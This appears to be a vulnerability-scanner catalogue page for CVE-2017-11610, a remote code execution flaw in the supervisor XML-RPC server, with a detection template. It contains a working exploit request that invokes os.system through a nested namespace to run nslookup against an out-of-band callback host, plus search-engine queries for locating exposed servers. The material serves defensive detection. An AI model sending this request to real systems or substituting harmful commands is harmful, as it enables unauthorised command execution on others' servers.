XML-RPC Server - Remote Code Execution

highseverity

8.8CVSS score

87.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Apply the latest security patches or disable the XML-RPC server if not required.

How to confirm it

Send: POST /RPC2
Positive when: contains in interactsh_protocol "dns" AND contains in header "text/xml" AND contains "<methodResponse>" and "<int>"

Run it with nuclei: nuclei -id CVE-2017-11610 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-11610

info:
  name: XML-RPC Server - Remote Code Execution
  author: notnotnotveg
  severity: high
  description: The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or disable the XML-RPC server if not required.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11610
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/JXGWOJNSWWK2TTWQJZJUP66FLFIWDMBQ/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/DTPDZV4ZRICDYAYZVUHSYZAYDLRMG2IM/
    - http://www.debian.org/security/2017/dsa-3942
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-11610
    cwe-id: CWE-276
    epss-score: 0.87549
    epss-percentile: 0.9976
    cpe: cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supervisord
    product: supervisor
    shodan-query:
      - http.title:"Supervisor Status"
      - http.title:"supervisor status"
    fofa-query: title="supervisor status"
    google-query: intitle:"supervisor status"
  tags: cve2017,cve,oast,xmlrpc,msf,rce,supervisor,supervisord,vkev,vuln

http:
  - raw:
      - |
        POST /RPC2 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/xml
        Content-type: text/xml

        <methodCall>
          <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
          <params>
            <param>
              <string>nslookup {{interactsh-url}}</string>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "text/xml"

      - type: word
        part: body
        words:
          - "<methodResponse>"
          - "<int>"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from